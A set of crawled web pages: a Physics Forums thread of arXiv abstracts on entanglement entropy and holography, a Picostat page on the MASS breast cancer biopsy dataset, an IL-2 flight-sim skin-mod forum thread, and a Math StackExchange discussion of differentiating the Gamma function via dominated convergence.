Any thoughts? I haven't seen anything about the Tsallis entropy in the holographic literature, but another generalization of the Boltzmann-Gibbs-Shannon-von Neumann entropy is the Renyi entropy, and there have been papers on these and holography, eg. http://arxiv.org/abs/1006.0047, https://arxiv.org/abs/1110.1084, https://arxiv.org/abs/1306.4682. I guess that may be because the BGS entropy needs von Neumann's generalization for quantum entanglement, and I'm not sure what the quantum generalization of the Tsallis entropy would be. #### haushofer Apparently this notion of Tsallis entropy is big business in the stat.mech. field, but I cannot find a decent theoretical justification for it other than "let's keep entropy extensive in all cases". The Renyi entropy sounds familiar from the "spacetime is due to quantum entanglement of the vacuum"-claims. Anyway, thanks for your insight and papers! #### atyy Apparently this notion of Tsallis entropy is big business in the stat.mech. field, but I cannot find a decent theoretical justification for it other than "let's keep entropy extensive in all cases". The Renyi entropy sounds familiar from the "spacetime is due to quantum entanglement of the vacuum"-claims. Anyway, thanks for your insight and papers! Yes, I looked at it many years ago, because many people use entropy measures in neuroscience. Interesting comments from Corfield in http://math.ucr.edu/home/baez/corfield/2006/06/tsallis-entropy.html, and from Baez in the comments section. #### atyy http://arxiv.org/abs/1608.04744 Zero Modes and Entanglement Entropy Yasaman K. Yazdi (Submitted on 16 Aug 2016) Ultraviolet divergences are widely discussed in studies of entanglement entropy. Also present, but much less understood, are infrared divergences due to zero modes in the field theory. In this note, we discuss the importance of carefully handling zero modes in entanglement entropy. We give an explicit example for a chain of harmonic oscillators in 1D, where a mass regulator is necessary to avoid an infrared divergence due to a zero mode. We also comment on a surprising contribution of the zero mode to the UV-scaling of the entanglement entropy. http://arxiv.org/abs/1608.04900 On the logarithmic divergent part of entanglement entropy, smooth versus singular regions Harald Dorn (Submitted on 17 Aug 2016) The entanglement entropy for smooth regions A has a logarithmic divergent contribution with a shape dependent coefficient and that for regions with conical singularities an additional log2 term. Comparing the coefficient of this extra term, obtained by direct holographic calculation for an infinite cone, with the corresponding limiting case for the shape dependent coefficient for a regularised cone, a mismatch by a factor two has been observed in the literature. We discuss several aspects of this issue. In particular a regularisation of A, intrinsically delivered by the holographic picture, is proposed and applied to an example of a compact region with two conical singularities. Finally, the mismatch is removed in all studied regularisations of A, if equal scale ratios are chosen for the limiting procedure. http://arxiv.org/abs/1608.04948 Joao Penedones (Submitted on 17 Aug 2016) We introduce the AdS/CFT correspondence as a natural extension of QFT in a fixed AdS background. We start by reviewing some general concepts of CFT, including the embedding space formalism. We then consider QFT in a fixed AdS background and show that one can define boundary operators that enjoy very similar properties as in a CFT, except for the lack of a stress tensor. Including a dynamical metric in AdS generates a boundary stress tensor and completes the CFT axioms. We also discuss some applications of the bulk geometric intuition to strongly coupled QFT. Finally, we end with a review of the main properties of Mellin amplitudes for CFT correlation functions and their uses in the context of AdS/CFT. http://arxiv.org/abs/1608.05090 Matrix Quantum Mechanics from Qubits Sean A. Hartnoll, Liza Huijse, Edward A. Mazenc (Submitted on 17 Aug 2016) We introduce a transverse field Ising model with order N^2 spins interacting via a nonlocal quartic interaction. The model has an O(N,Z), hyperoctahedral, symmetry. We show that the large N partition function admits a saddle point in which the symmetry is enhanced to O(N). We further demonstrate that this matrix saddle' correctly computes large N observables at weak and strong coupling. The matrix saddle undergoes a continuous quantum phase transition at intermediate couplings. At the transition the matrix eigenvalue distribution becomes disconnected. The critical excitations are described by large N matrix quantum mechanics. At the critical point, the low energy excitations are waves propagating in an emergent 1+1 dimensional spacetime. Last edited: #### atyy http://arxiv.org/abs/1608.07473 From physical symmetries to emergent gauge symmetries Carlos Barceló, Raúl Carballo-Rubio, Francesco Di Filippo, Luis J. Garay (Submitted on 26 Aug 2016) Gauge symmetries indicate redundancies in the description of the relevant degrees of freedom of a given field theory and restrict the nature of observable quantities. One of the problems faced by emergent theories of relativistic fields is to understand how gauge symmetries can show up in systems that contain no trace of these symmetries at a more fundamental level. In this paper we start a systematic study aimed to establish a satisfactory mathematical and physical picture of this issue, dealing first with abelian field theories. We discuss how the trivialization, due to the decoupling and lack of excitation of some degrees of freedom, of the Noether currents associated with physical symmetries leads to emergent gauge symmetries in specific situations. An example of a relativistic field theory of a vector field is worked out in detail in order to make explicit how this mechanism works and to clarify the physics behind it. The interplay of these ideas with well-known results of importance to the emergent gravity program, such as the Weinberg-Witten theorem, are discussed. #### atyy http://arxiv.org/abs/1608.08695 Broken bridges: A counter-example of the ER=EPR conjecture Pisin Chen, Chih-Hung Wu, Dong-han Yeom (Submitted on 31 Aug 2016) In this paper, we provide a counter-example to the ER=EPR conjecture. In an anti-de Sitter space, we construct a pair of maximally entangled but separated black holes. Due to the vacuum decay of the anti-de Sitter background toward a deeper vacuum, these two parts can be trapped by bubbles. If these bubbles are reasonably large, then within the scrambling time, there should appear an Einstein-Rosen bridge between the two black holes. Now by tracing more details on the bubble dynamics, one can identify parameters such that one of the two bubbles either monotonically shrinks or expands. Because of the change of vacuum energy, one side of the black hole would evaporate completely. Due to the shrinking of the apparent horizon, a signal of one side of the Einstein-Rosen bridge can be viewed from the opposite side. We analytically and numerically demonstrate that within a reasonable semi-classical parameter regime, such process can happen. Therefore, the ER=EPR conjecture cannot be generic in its present form and its validity maybe restricted. #### atyy http://arxiv.org/abs/1609.00207 Gravitational action with null boundaries Luis Lehner, Robert C. Myers, Eric Poisson, Rafael D. Sorkin (Submitted on 1 Sep 2016) We present a complete discussion of the boundary term in the action functional of general relativity when the boundary includes null segments in addition to the more usual timelike and spacelike segments. We confirm that ambiguities appear in the contribution from a null segment, because it depends on an arbitrary choice of parametrization for the generators. We also show that similar ambiguities appear in the contribution from a codimension-two surface at which a null segment is joined to another (spacelike, timelike, or null) segment. The parametrization ambiguity can be tamed by insisting that the null generators be affinely parametrized; this forces each null contribution to the boundary action to vanish, but leaves intact the fredom to rescale the affine parameter by a constant factor on each generator. Once a choice of parametrization is made, the ambiguity in the joint contributions can be eliminated by formulating well-motivated rules that ensure the additivity of the gravitational action. Enforcing these rules, we calculate the time rate of change of the action when it is evaluated for a so-called "Wheeler-deWitt patch" of a black hole in asymptotically-anti de Sitter space. We recover a number of results cited in the literature, obtained with a less complete analysis. http://arxiv.org/abs/1609.00026 Lectures on Gravity and Entanglement Mark Van Raamsdonk (Submitted on 31 Aug 2016) The AdS/CFT correspondence provides quantum theories of gravity in which spacetime and gravitational physics emerge from ordinary non-gravitational quantum systems with many degrees of freedom. Recent work in this context has uncovered fascinating connections between quantum information theory and quantum gravity, suggesting that spacetime geometry is directly related to the entanglement structure of the underlying quantum mechanical degrees of freedom and that aspects of spacetime dynamics (gravitation) can be understood from basic quantum information theoretic constraints. In these notes, we provide an elementary introduction to these developments, suitable for readers with some background in general relativity and quantum field theory. The notes are based on lectures given at the CERN Spring School 2014, the Jerusalem Winter School 2014, the TASI Summer School 2015, and the Trieste Spring School 2015. #### atyy http://arxiv.org/abs/1609.01287 Holographic Entanglement Entropy (Submitted on 5 Sep 2016) We review the developments in the past decade on holographic entanglement entropy, a subject that has garnered much attention owing to its potential to teach us about the emergence of spacetime in holography. We provide an introduction to the concept of entanglement entropy in quantum field theories, review the holographic proposals for computing the same, providing some justification for where these proposals arise from in the first two parts. The final part addresses recent developments linking entanglement and geometry. We provide an overview of the various arguments and technical developments that teach us how to use field theory entanglement to detect geometry. Our discussion is by design eclectic; we have chosen to focus on developments that appear to us most promising for further insights into the holographic map. This is a preliminary draft of a few chapters of a book which will appear sometime in the near future, to be published by Springer. The book in addition contains a discussion of application of holographic ideas to computation of entanglement entropy in strongly coupled field theories, and discussion of tensor networks and holography, which we have chosen to exclude from the current manuscript. "Condensed matter physics, area laws & LQG?" ### Physics Forums Values We Value Quality • Topics based on mainstream science • Proper English grammar and spelling We Value Civility • Positive and compassionate attitudes • Patience while debating We Value Productivity • Disciplined to remain on-topic • Recognition of own weaknesses • Solo and co-op problem solving
2019-10-19 06:57:11
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.738236129283905, "perplexity": 785.1323792259855}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-43/segments/1570986692126.27/warc/CC-MAIN-20191019063516-20191019091016-00487.warc.gz"}
https://www.picostat.com/dataset/r-dataset-package-mass-biopsy
# R Dataset / Package MASS / biopsy Webform Category Webform Category Webform Category Webform Category Webform Category Webform Category ## Visual Summaries Embed <iframe src="https://embed.picostat.com/r-dataset-package-mass-biopsy.html" frameBorder="0" width="100%" height="307px" /> Attachment Size 26.34 KB Dataset Help On this Picostat.com statistics page, you will find information about the biopsy data set which pertains to Biopsy Data on Breast Cancer Patients. The biopsy data set is found in the MASS R package. You can load the biopsy data set in R by issuing the following command at the console data("biopsy"). This will load the data into a variable called biopsy. If R says the biopsy data set is not found, you can try installing the package by issuing this command install.packages("MASS") and then attempt to reload the data. If you need to download R, you can go to the R project website. You can download a CSV (comma separated values) version of the biopsy R data set. The size of this file is about 26,977 bytes. Documentation ## Biopsy Data on Breast Cancer Patients ### Description This breast cancer database was obtained from the University of Wisconsin Hospitals, Madison from Dr. William H. Wolberg. He assessed biopsies of breast tumours for 699 patients up to 15 July 1992; each of nine attributes has been scored on a scale of 1 to 10, and the outcome is also known. There are 699 rows and 11 columns. ### Usage biopsy ### Format This data frame contains the following columns: ID sample code number (not unique). V1 clump thickness. V2 uniformity of cell size. V3 uniformity of cell shape. V4 V5 single epithelial cell size. V6 bare nuclei (16 values are missing). V7 bland chromatin. V8 normal nucleoli. V9 mitoses. class "benign" or "malignant". ### Source P. M. Murphy and D. W. Aha (1992). UCI Repository of machine learning databases. [Machine-readable data repository]. Irvine, CA: University of California, Department of Information and Computer Science. O. L. Mangasarian and W. H. Wolberg (1990) Cancer diagnosis via linear programming. SIAM News 23, pp 1 & 18. William H. Wolberg and O.L. Mangasarian (1990) Multisurface method of pattern separation for medical diagnosis applied to breast cytology. Proceedings of the National Academy of Sciences, U.S.A. 87, pp. 9193–9196. O. L. Mangasarian, R. Setiono and W.H. Wolberg (1990) Pattern recognition via linear programming: Theory and application to medical diagnosis. In Large-scale Numerical Optimization eds Thomas F. Coleman and Yuying Li, SIAM Publications, Philadelphia, pp 22–30. K. P. Bennett and O. L. Mangasarian (1992) Robust linear programming discrimination of two linearly inseparable sets. Optimization Methods and Software 1, pp. 23–34 (Gordon & Breach Science Publishers). ### References Venables, W. N. and Ripley, B. D. (1999) Modern Applied Statistics with S-PLUS. Third Edition. Springer. -- Dataset imported from https://www.r-project.org. Recent Queries For This Dataset No queries made on this dataset yet.
2020-10-21 05:09:06
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.21547925472259521, "perplexity": 6732.656895461344}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-45/segments/1603107875980.5/warc/CC-MAIN-20201021035155-20201021065155-00029.warc.gz"}
https://www.sas1946.com/main/index.php?topic=16221.36
• December 03, 2021, 09:27:48 AM • Welcome, Guest Pages: 1 2 3 [4] 5   Go Down ### AuthorTopic: The SAS F#cking Big Default Skinmod (SAS FBDSM) PART 7-9  (Read 29971 times) 0 Members and 1 Guest are viewing this topic. #### SAS~CirX • Editor • member • Offline • Posts: 5179 • No Zips, Only Buttons ##### Re: The SAS F#cking Big Default Skinmod (SAS FBDSM) PART 7-9 « Reply #36 on: June 10, 2011, 06:15:05 AM » Id say ditch the bands if there is any indecision. the reason is that, a plane without bands is still perfectly usable for D-day area and era missions, and also for everything else, while a plane with bands, is sort of tied to a specific series of operations. We can give it a summer and eto skin, and we can put stipes on one of them and none on the other. Choice is just, which. Are there multi slots for this too? I still have to look. We should get a good skin with stripes only at the bottom, and a skin with no stripes. We can make the assinments later. Logged #### B16Enk • member • Offline • Posts: 1 ##### Re: The SAS F#cking Big Default Skinmod (SAS FBDSM) PART 7-9 « Reply #37 on: June 10, 2011, 10:10:26 AM » yes, my bandwith is all used up by guys downloading UP3, so no files over 200mb can be DLed. I thought there would be other who would be so kind as to post dsome static download links for UP3, but it seems PBoatAvi8tor and I were the only morons who did. well, at least we go a whole bunch of thank you notes and posts for our money ($70 in my case). I think there are as many as two such posts! Same here I see. 2 months of work, 290 downloads and counting. 2 thank you's. Give me a moment, Ill go buy some more bandwidth for ya'll. First off add my appreciation for your contribution to the community! Secondly - have you considered using drop box? I tried to get the DangerDogz interested in this too, you can easily get 2.5GB - 3GB free storage with a publicly shared folder too (SAS Admins could do the same and if they have root access a Linux client is available). If interested PM me and I can invite - it will add 250MB to my account, or just go get it anyway! Third.. I have mirrored them on the Dogz server, here: http://dangerdogz.com/forums/files/category/25-up3/ Logged #### SAS~CirX • Editor • member • Offline • Posts: 5179 • No Zips, Only Buttons ##### Re: The SAS F#cking Big Default Skinmod (SAS FBDSM) PART 7-9 « Reply #38 on: June 10, 2011, 10:36:36 AM » Ok, I'm trying to upload them to Filefactory. Here is the first link (part 7): http://www.filefactory.com/file/cca7c28/n/sasup_fbdsm_07.7z Part 8: http://www.filefactory.com/file/cca7e22/n/sasup_fbdsm_08.7z And part 9: http://www.filefactory.com/file/ccbac85/n/sasup_fbdsm_09.7z Done... another mirror avalaible. And... Thank you very very much again. Thanx a bunch mate! links added yes, my bandwith is all used up by guys downloading UP3, so no files over 200mb can be DLed. I thought there would be other who would be so kind as to post dsome static download links for UP3, but it seems PBoatAvi8tor and I were the only morons who did. well, at least we go a whole bunch of thank you notes and posts for our money ($70 in my case). I think there are as many as two such posts! Same here I see. 2 months of work, 290 downloads and counting. 2 thank you's. Give me a moment, Ill go buy some more bandwidth for ya'll. Secondly - have you considered using drop box? I tried to get the DangerDogz interested in this too, you can easily get 2.5GB - 3GB free storage with a publicly shared folder too (SAS Admins could do the same and if they have root access a Linux client is available). If interested PM me and I can invite - it will add 250MB to my account, or just go get it anyway! Third.. I have mirrored them on the Dogz server, here: http://dangerdogz.com/forums/files/category/25-up3/ also thank you very much for the mirror, added to the first post. Actualy mediafire has been very good for us, the only thing that is causing toruble is that we are one of only 2 public available static downloads for UP3. And that is REALY fucking us over. So if anyone with great internet and some servers or accounts out there reads this: please considder hosting UP3, even if just for a week or two. Logged #### GilB57 • Modder • member • Offline • Posts: 377 ##### Re: The SAS F#cking Big Default Skinmod (SAS FBDSM) PART 7-9 « Reply #39 on: June 10, 2011, 11:51:02 AM » Quote depending on the game markings which I do not remember In fact, it is marked because Tempest doesn't show roundels if you apply a RAF squadron (only code letters). For other countries, a skin without fin flash should be found (not so easy). I can try to find some if you want ? Confirmed : 2 slots for Tempest : GB & Multi1. Logged #### CWMV • Kalashnikov connoisseur • Modder • member • Offline • Posts: 2706 • A free people ought to be armed and disciplined. ##### Re: The SAS F#cking Big Default Skinmod (SAS FBDSM) PART 7-9 « Reply #40 on: June 10, 2011, 12:01:17 PM » I noticed this with the P-51B or C too, when country USAAF is selected and markings on no national insignia are displayed. Logged #### GilB57 • Modder • member • Offline • Posts: 377 ##### Re: The SAS F#cking Big Default Skinmod (SAS FBDSM) PART 7-9 « Reply #41 on: June 11, 2011, 05:02:01 AM » Yes, a few planes are the same... Logged #### SAS~CirX • Editor • member • Offline • Posts: 5179 • No Zips, Only Buttons ##### Re: The SAS F#cking Big Default Skinmod (SAS FBDSM) PART 7-9 « Reply #42 on: June 11, 2011, 06:31:46 AM » just  for info, the fbdsm does not change the behaviour of any decals in the game. Many US planes do not display decals when used by US because that is the way they have always been. In FBDSM, we of course put the decals on the skin in these cases, as they were on the stock default skins. So this is not in the slightest at all an issue with FBDSM. It is an issue with the way the game implemented US marking systems. Logged #### Moskilla • member • Offline • Posts: 4 ##### Re: The SAS F#cking Big Default Skinmod (SAS FBDSM) PART 7-9 « Reply #43 on: June 12, 2011, 04:09:36 PM » Thank you very much!!! It is a fu**ing amazing mod!!!! My small contribution: The skins of all spanish I-16 (type 5, 10, 10wc and UTI-4) are totally incorrect. I made a small mod with the correct skins, you can download from here: Credits: Type 5: ManOWar (with a very little adjustments by me) Type 10: Aroman & Alge1(with a littles adjustments by me) Type 10wc: Aroman & Alge1 UTI-4: Moskilla (based on Type 5 skin by ManOWar & templante by Ivan750) Logged #### Moskilla • member • Offline • Posts: 4 ##### Re: The SAS F#cking Big Default Skinmod (SAS FBDSM) PART 7-9 « Reply #44 on: June 13, 2011, 03:11:50 AM » The skins of all spanish I-16 (type 5, 10, 10wc and UTI-4) are totally incorrect. I do, appreciate *very* much any contribution (including this one I am very interested in SCW and recognize I don't know enough)... What you see quoted, though....  I mean, don't take me wrong, but unless I put up pink skins for I-16 there is no such thing as "totally incorrect". It is more usefull to me if you point out specific aspects of specific skins with also the data showing me how it would look more close to the real deal. Providing a set of skins is always appreciated (downloading right now ), but it doesn't really let me know WHICH specific aspects are really out of line and not JUST a matter of personal opinion or debate. For example, AlanOwar pointed out that mottled camo for I-16 was result of postwar repaints for movies, and showed photos accordingly (thus we ruled them out). That way I learn. I wish something of that sort together with the skins you nicely shared Sorry, my english is too bad.... These are the correct colors: Ok, if many skins authors may be it's not too late and this helps... Yes, these are directly scanned from some original pieces. Specially green is from a fabric piece perfectly preserved (I had in my hand it, and it's awesome, like painted yesterday). May be scaning is not the best way to get the color but the chip is Ok with the color and quite well match. http://www.sas1946.com/main/index.php/topic,15452.msg165563.html#msg165563 All skins I put in my previous message using those colors. About the "totally incorrect" skins (maybe should have used another expression): Type 5: The lower is too white, should be blue. Type 10 & UTI-4: This skin is the personal plane of the head of the "7ª Escuadrilla del Grupo 21", was a unique aircraft, there were no other aircraft with the same scheme. Type 10 W. Cyclone: I've never seen a picture of an I-16 with that scheme, it is very strange .... but one thing is clear, that scheme is not "generic" scheme. Except a few exceptions, all I-16 W.Cyclone operated in the "4ª Escuadrilla del Grupo 21", so the right thing is to use the generic skin of 4ª Escuadrilla. Here are some pictures of airplanes with the same generic scheme of the skins-pack I've put in my previous message: Type 5: Type 10: Type 10 W. Cyclone: UTI-4: Logged #### Moskilla • member • Offline • Posts: 4 ##### Re: The SAS F#cking Big Default Skinmod (SAS FBDSM) PART 7-9 « Reply #45 on: June 13, 2011, 05:00:28 AM » Muchas gracias de nuevo...  me atrevo a pedirte los skins que mandaste pero en bmp y no ya en tga (aunque sospecho que usamos el mismo skin para tipo5 pero desaturamos los colores republicanos -especialmente amarillo y morado... se ve demasiado chillon en el juego). The Type 5 is this: http://www.sas1946.com/main/index.php/topic,16431.msg160343/boardseen.html#new Sorry, I am a newbie to the modding and still do not know how to save bmp skins in order to be used in the IL2 Quote El Tipo 5 es este:http://www.sas1946.com/main/index.php/topic,16431.msg160343/boardseen.html#new Lo siento pero soy un novato en el modding y aún no se como guardar los skins en bmp para que puedan ser utilizados en IL2 Logged #### Moskilla • member • Offline • Posts: 4 ##### Re: The SAS F#cking Big Default Skinmod (SAS FBDSM) PART 7-9 « Reply #46 on: June 13, 2011, 05:19:48 AM » Sorry, I am a newbie to the modding and still do not know how to save bmp skins in order to be used in the IL2 So you only have tga's? I thought you had the bmp originals Yes, I only have TGA's. -The skin of Type10 is a modification of the skin of Type10WC of this mod: http://www.sas1946.com/main/index.php/topic,26.0.html -UTI-4 is a combination of here: and here: http://www.sas1946.com/main/index.php/topic,16431.msg160343/boardseen.html#new Logged #### Ala13_ManOWar • Modder • member • Offline • Posts: 645 ##### Re: The SAS F#cking Big Default Skinmod (SAS FBDSM) PART 7-9 « Reply #47 on: July 07, 2011, 03:29:11 AM » Sorry Moskilla, I didn't saw before your mesage. It's ok with the skins, use them as you want. Quote aunque sospecho que usamos el mismo skin para tipo5 pero desaturamos los colores republicanos -especialmente amarillo y morado... se ve demasiado chillon en el juego It depends on everyone screen configuration, but those color I see OK, and, they are nor "yellow" and "purple" at all, but exactly republican flag colors, (yellow is a little orange, purple is a deep one very saturated). If you think they are too brilliant go ahead, but try not to change them so much because they are what they should be, above all please don't try to get them as simple yellow and whitish purple because they are not that. In Spanish republican type 10 you can use directly Aroman skin for type 10 WC, it's done with same colour samples I posted and is correct. So really the only left is UTI 4, but Moskilla adapted it and we have now . S! Logged Pages: 1 2 3 [4] 5   Go Up Page created in 0.067 seconds with 25 queries.
2021-12-03 16:27:48
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.3399389386177063, "perplexity": 10947.257140416226}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-49/segments/1637964362891.54/warc/CC-MAIN-20211203151849-20211203181849-00632.warc.gz"}
https://math.stackexchange.com/questions/1761413/lebesgue-dominated-convergence-theorem-example
# Lebesgue Dominated Convergence Theorem example For $x>0$ we have defined $$\Gamma(x):= \int_0^\infty t^{x-1}e^{-t}dt$$ Im trying to use Lebesgue's Dominated Convergence theorem to show $$\Gamma'(x):=lim_{h\rightarrow 0}\frac{\Gamma(x+h)-\Gamma(x)}{h}$$ exists and equals $$\int_0^\infty(\frac{\partial}{\partial x}t^{x-1}e^{-t})dt$$ This is my first time dealing with L.D.C.T and I'm super lost. Ive been sifting through books and notes but I'm not the best at dealing with very theoretical stuff so I came across this example to help me maybe understand it more. Can any explain this? edit: I've also been going through the different feeds on here! • search the web for "differentiation under the integral sign" – zhw. Apr 27 '16 at 17:36 The ensuing development relies on the elementary inequality for the logarithm function $$\log(x)\le x-1 \tag 1$$ for all $x>0$. Let $f(t,h)$ be the function given by $$f(t,h)=\frac{t^h-1}{h}\tag 2$$ for $h\ne 0$. Note that $f(t,h)>0$ for $t>1$ and $f(t,h)<0$ for $t<1$. We seek to find a function $g(t)$ such that (i) $|f(t,h)|\le g(t)$ and (ii) $g(t)t^{x-1}e^{-t}$ is integrable for $t\in (0,\infty)$. If successful, then the Dominated Convergence Theorem guarantees that the derivative of the Gamma function is given by \begin{align} \Gamma'(x)&=\lim_{h\to 0}\int_0^\infty \left(\frac{t^h-1}{h}\right)t^{x-1}e^{-t}\,dt\\\\ &=\int_0^\infty \lim_{h\to 0}\left(\frac{t^h-1}{h}\right)t^{x-1}e^{-t}\,dt\\\\ &=\int_0^\infty \log(t)t^{x-1}e^{-t}\,dt \tag 3 \end{align} FINDING A BOUNDING FUNCTION Proceeding to bound $f(t,h)$, we find immediately from $(1)$ to $(2)$ with $x=t^h$ that for $t<1$ $$|f(t,h)|\le |\log (t)| \tag 4$$ Next, note that for $h\ne 0$ and any fixed $t>0$, the partial derivative of $f(t,h)$ with respect to $h$ is given by $$\frac{\partial f(t,h)}{\partial h}=\frac{\log(t^h)t^h-(t^h-1)}{h^2}\ge \frac{(t^h-1)^2}{h^2}\ge 0$$ Therefore $f(h)$ is an increasing function of $h$ and so for $h\le 1$, we have \begin{align} f(t,h)&\le f(t,1)\\\\ &=t-1 \end{align} So, for $t\ge 1$ we find that $$|f(t,h)|\le t-1$$ Putting $(4)$ and $(5)$ together reveals $$|f(t,h)|\le g(t)$$ where $$g(t)=\begin{cases}|\log(t)|&,0<t\le 1\\\\t-1&,1<t\end{cases}$$ Inasmuch as $g(t)t^{x-1}e^{-t}$ is integrable and an upper bound for $\left|f(h) t^{x-1}e^{-t}\right|$, then application of the Dominated Convergence Theorem yields the result in $(3)$ $$\Gamma'(x)=\int_0^\infty \log(t)t^{x-1}e^{-t}\,dt$$ as was to be shown! here you won't need the dominated convergence theorem, since everything is absolutely convergent : $$\frac{t^{x+h-1} e^{-t} -t^{x-1} e^{-t}}{h} = t^x e^{-t} \ln(t) + h \ r(t,h)$$ with $|r(t,h)| < C |t^x e^{-t} \ln(t)^2|$ for every $t > 0$ and $|h| < \delta$ hence $$\frac{\int_0^\infty t^{x+h} e^{-t} dt -\int_0^\infty t^{x} e^{-t} dt}{h} = \int_0^\infty\frac{ t^{x+h}-t^x}{h} e^{-t} dt = \int_0^\infty t^x e^{-t} \ln( t) dt + h \int_0^\infty r(t,h) dt$$ and since $|\int_0^\infty r(t,h) dt| < C \int_0^\infty |t^x e^{-t} \ln(t)^2| dt < A$ : $$\frac{\partial}{\partial x} \int_0^\infty t^{x-1} e^{-t} dt = \lim_{t \to 0} \int_0^\infty \frac{\int_0^\infty t^{x+h} e^{-t} dt -\int_0^\infty t^{x} e^{-t} dt}{h} = \int_0^\infty t^x e^{-t} \ln(t) dt$$ • This is very helpful. However, I was really hoping to use the LDCT to solve it. I knew this could be done without and I chose this just so I could check my answer to see if it was equivalent in any way @user1952009 – user316861 Apr 27 '16 at 17:41 • @user316861 : what I wrote is enough for applying the dominated convergence theorem. can you see where is hidden the dominating function in what I wrote ? – reuns Apr 27 '16 at 17:43 • I'm sorry, but I cannot – user316861 Apr 27 '16 at 17:45 • @user316861 : what are $f_n$ and $f$ to which $f_n$ converges pointwise ? en.wikipedia.org/wiki/Dominated_convergence_theorem – reuns Apr 27 '16 at 17:46 • so here my $f_n$ and $f$ are $t^{x-1}$ and $e^{-t}$ respectively? – user316861 Apr 27 '16 at 17:52 Fix $x>0.$ We want to consider, for $t>0,$ $$\tag 1 e^{-t}\frac{(t^{x-1 + h} - t^{x-1})}{h} = e^{-t}t^{x-1}\frac{t^h -1}{h}.$$ As $h\to 0,$ the last expression $\to e^{-t}t^{x-1}\ln t.$ If we can find an $L^1$ dominating function, we will have our answer: $$\Gamma'(x) = \int_0^\infty e^{-t}t^{x-1}\ln t\, dt.$$ Suppose $|h| < x/2.$ Use the mean value theorem to see $$\frac{t^h -1}{h} = (\ln t)t^c$$ for some $c \in (-x/2,x/2).$ Verify that $t^c \le t^{x/2}+t^{-x/2}.$ In absolute value then, $(1)$ is bounded above by $$e^{-t}t^{x-1}|\ln t\,| (t^{x/2}+t^{-x/2}).$$ There's your fixed $L^1$ bounding function; you're ready for LDCT. • this is starting to make sense. Now that I have the bounding function I apply the LDCT. Looking on wikipedia, this looks like you've given the answer. SO i guess my confusion is how to apply the LDCT when you already have? What am I missing (and please don't say it's obvious ha). – user316861 Apr 27 '16 at 20:08
2019-09-21 02:34:26
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 2, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8814377784729004, "perplexity": 207.0087987355049}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-39/segments/1568514574182.31/warc/CC-MAIN-20190921022342-20190921044342-00079.warc.gz"}
https://socratic.org/questions/how-fast-will-an-object-with-a-mass-of-16-kg-accelerate-if-a-force-of-72-n-is-co
